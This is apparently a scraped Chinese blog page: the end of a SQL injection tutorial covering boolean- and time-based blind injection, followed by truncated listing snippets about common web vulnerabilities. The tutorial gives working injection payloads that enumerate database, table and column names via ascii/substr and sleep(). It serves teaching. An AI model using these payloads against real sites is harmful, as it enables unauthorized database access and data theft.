    然后猜解当前数据库的第一个数据表的第一个字符的ASCII:1’and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g

    然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1’and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u

    第三个,第四个字符以此类推直到猜解完毕

    然后猜解当前数据库中数据表users的列数:1’and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’)>3#,同样,这个步骤也是可以省略的

    然后猜解当前数据库中数据表users的第一列的长度:1’and (select length(column_name) from information_schema.columns where table_name=‘users’ limit 0,1)>5#,当大于0为假,说明此列不存在

    然后猜解当前数据库数据表users的第一列字段的第一个字符:1’and (ascii(substr(select column_name from information_schema.columns where table_name=‘users’) limit 0,1),1,1)>97#,然后依次猜解完全部字段

    基于时间的盲注
    基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b

    猜解当前数据库名的长度,如果长度大于0就会延时5s:1’and if(length(database())>0,sleep(5),0)#,如图

    然后猜解当前数据库中数据表的个数:1’and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#

    然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:1’and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#

    同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据

    总结
    SQL注入技术不是单凭一篇博客就可以讲完的,这里只带领大家掌握SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,后面遇见在详解其他方法。有很多讲SQL注入的书,个人认为Justin Clarke写的《SQL注入攻击与防御》很不错,类似的书还有很多,如果想自己深入学习,可以寻找适合自己的书。相信大家通过本篇已掌握SQL注入原理和相应类型的注入的方法,同时也需要掌握SQL注入的一般步骤:

    1、测试网页是否存在SQL注入

    2、判断SQL注入类型

    3、利用SQL语句查询数据库当前用户及数据库

    4、利用SQL语句查询表名、列名、字段名以及字段值

    作者:江左盟宗主
    来源:CSDN
    原文:https://blog.csdn.net/qq_32261191/article/details/80801052
    版权声明:本文为博主原创文章,转载请附上博文链接!

    展开全文
  • 常见Web安全漏洞类型

    2019-09-17 08:46:32
    阅读文本大概需要3分钟。为了对Web安全个整体的认识,整理一下常见的Web安全漏洞类型,主要参考于OWASP组织历年来所研究发布的项目文档。01:注入漏洞1)SQL注入...
  • 常见web漏洞攻防杂谈

    2016-12-15 14:14:01
    做为一介码农,对那些常见的web漏洞,比如SQL注入...但是,近期公司个web安全调研的项目,让我有机会对常见的web漏洞及攻防策略进行深入的了解并整理成册,我大概用了2个月的时间研读各类安全书籍,将其中的精华整理
  • 常见的Web应用的漏洞

    2019-07-11 18:53:51
    它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图SQL语句。 原因 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全数据库配置或数据库平台...
  • 总结下web 常见的几个漏洞1.SQL注入2.XSS跨站点脚本3.缓冲区溢出4.cookies修改5.上传漏洞6.命令行注入1 sql 漏洞SQL注入***是***对数据库进行***的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用...
  • HTML5 是定义 HTML 标准最新版本,5...作为HTML升级版,它更大技术集,引入了新标签、属性、方法和功能等,允许更多样化和强大网站和应用程序。 比如说新增了<section>, <article>, <...
  • 常见web漏洞排查

    2018-12-19 09:26:49
    弱口令没有严格和准确定义,通常认为容易被别人(他们可能对你很了解)猜测到或者破解工具破解口令均为弱口令。 设置密码通常遵顼一下准则: 不适用空口令或者系统缺省口令,这些口令众所周知,为典型...
  • 识别常见Web漏洞

    千次阅读 2009-02-27 21:07:00
    本周个需求,临时做了下web端... 找了篇文章,学习一下常见的web漏洞 在互联网大众化及Web技术飞速演变的今天,在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升,以及基子Web的攻击和破坏的增长
  • ### 漏洞概述国外 FoxgLove 安全团队公开了一篇关于常见 Java Web 容器如何利用反序 列化操作进行远程命令执行文章[1],并在文章中提供了相应利用工具。文中 所涉及到 Java Web 容器:WebSphere,JBoss,Jenkins...
  • 命令执行漏洞在不同框架下都存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性,也是影响范围最大一个命令执行漏洞--Struts2远程代码执行漏洞。Struts2漏洞介绍ApacheStruts是一款建立Java web应用...
  • WEB漏洞 常见类型

    2019-09-26 04:15:03
    漏洞特征:存在SQL注入语句 常见的SQL注入语句: ●通过报错注入、布尔盲注、时间盲注判断是否存在注入: ⊙字符型 ■ 参数后加单引号,报错:sql1.php?name=admin' ■ 参数后加' and '1'='2和' and '1'='2,...
  • 超级Web漏洞扫描器.zip

    2020-05-07 21:32:17
    WEB漏洞通常是指网站程序上的漏洞,可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞,常见的WEB漏洞有Sql注入、Xss漏洞、上传漏洞等。可以利用该扫描器来检查自己的网站是否有安全漏洞。
  • 浅淡常见的WEB安全漏洞测试及验证【文件上传漏洞】1.对用户上传的文件没有进行充分合理的验证,导致被上传***等恶意文件并执行验证方式可能:客户端JS检测、服务器MIME类型检测、服务器目录路径检测、服务器文件...
  • 分享三种常见的安全漏洞 输入输出验证不充分 SQL注入 定义 SQL注入是SQL语句插入到传入参数的攻击,之后再将这些参数传递给SQL服务器加以解析并执行。 成因 代码中拼接的SQL或HQL语句 危害 拖库:导致数据丢失、...
  • 常见Web安全漏洞

    2009-02-13 14:25:00
    已知弱点和错误配置 已知弱点...一个很好的例子就是你的Web服务器被配置成可以让任何用户从系统上的任何目录路径通过,这样可能会导致泄露存储在Web服务器上的一些敏感信息,如口令、源代码或客户信息等。 隐藏字段
  • 作为HTML升级版,它更大技术集,引入了新标签、属性、方法和功能等,允许更多样化和强大网站和应用程序。比如说新增了<section>, <article>, <nav>, <header>...
  • 大企业或大单位因为网站众多,一般都会选择大型防火墙作为保护措施,比如深信服、天融信等等,小单位或单个网站通常会选择D盾、安全狗或开源的安全软件作为保护措施,一些常见的开源waf:OpenResty 、ModSecurity...
  • web常见安全漏洞

    千次阅读 2017-09-07 10:25:56
    1.xss(cross_site scripting) 跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理...该类型是最为常见的,攻击者主要利用此类型通过email、热度非常大的论坛、或者针对
  • 平时工作,多数是开发Web项目,由于一般是开发内部使用业务系统,所以对于安全性一般不是看很重,基本上由于是内网系统,一般也很少会受到攻击,但时候一些系统平台,需要外网也要使用,这种情况下,各方面...
  • 恶意攻击者将对客户端危害代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户 1、跨站攻击漏洞描述跨站脚本攻击(Cross-site scripting,通常简称为...
  • 由于一般的web开发项目主要是内部使用的业务系统,所以对于安全性一般不是看的很重,基本上由于是内网系统。但时候一些系统平台,需要外网也要使用,这种情况下,各方面的安全性就要求比较高了,所以往往会交付给...
  • 常见WEB漏洞:HTML5安全与防御  1、HTML5概述  HTML5 是定义 HTML 标准最新版本,5原因是它是HTML第五次重大修改,标准于14年10月29日完成。作为HTML升级版,它更大技术集,引入了新标签、属性...
  • web漏洞:是指网站程序上的漏洞,可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞,常见的WEB漏洞有Sql注入、Xss漏洞、上传漏洞等一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 941
精华内容 376
关键字:

常见的web漏洞有